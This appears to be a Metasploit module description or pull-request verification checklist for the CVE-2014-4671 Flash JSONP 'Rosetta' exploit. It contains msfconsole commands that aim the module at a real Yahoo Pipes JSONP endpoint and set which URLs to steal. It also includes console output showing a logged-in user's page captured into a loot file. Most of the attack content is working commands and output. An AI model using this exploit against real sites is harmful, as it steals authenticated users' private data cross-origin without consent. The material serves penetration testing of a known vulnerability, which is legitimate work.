CVE-2014-4671 Flash JSONP Disclosure

This module automates the detection and exfiltration of data using the Flash JSONP "Rosetta" exploit described [here](http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/).

##### Verification

Yahoo is vulnerable to this, so I used their Pipes JSONP endpoint to test. The URL I stole was "http://pipes.yahoo.com", which contained my username when I was logged in.

- [x] Configure the module

        msf> use auxiliary/gather/flash_rosetta_jsonp_url_disclosure
        msf> set JSONP_URL http://pipes.yahoo.com/pipes/pipe.run?_id=e176c4da7ae8574bfa5c452f9bb0da92&_render=json&limit=10&term=blah
        msf> set STEAL_URLS http://pipes.yahoo.com/
        msf> set CALLBACK _callback

- [x] Ensure `check` command works and the endpoint is vulnerable:

        msf> check
        [+]  - The target is vulnerable.

- [x] Run the module

        msf> run

- [x] Install a version of Flash from [here](http://helpx.adobe.com/flash-player/kb/archived-flash-player-versions.html) that was released prior to July 2014.

- [x] Log into http://pipes.yahoo.com with a yahoo account

- [x] Browse to the exploit URL

- [ ] You should see the following in the console:

        [+] 13490 bytes captured from target 172.16.10.39 on URL:
        http://pipes.yahoo.com/
        [+] Stored in /Users/joe/.msf4/loot/blah

- [ ] Grep for your yahoo username in the loot file, it should be there.

I love Ruby. :)